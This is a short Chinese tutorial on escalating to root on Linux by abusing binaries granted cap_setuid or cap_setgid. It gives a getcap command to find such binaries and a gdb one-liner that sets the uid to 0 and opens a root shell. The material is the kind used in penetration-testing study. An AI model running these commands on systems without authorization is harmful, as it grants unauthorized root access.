Capabilities是linux的一种访问控制能力,能够更精细化的将操作系统权限(网络,文件等)赋权给应用程序,其中就包括设置uid和gid的权限。因此具备cap_setuid和cap_setgid权限的程序可以用来进行权限提升
一、查找设置过capabilities的应用程序
/usr/sbin/getcap -r / 2>/dev/null
二、找到具有cap_setuid或cap_setgid能力的进程,例如上图中hack8目录下的gdb应用具备该权限
三、调用对应的方式,通过脚本设置uid为0,即可成功提权,这里通过利用gdb对应的方式进行提权
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
更多类似程序的提权方式详见:https://gtfobins.github.io/gtfobins/gdb/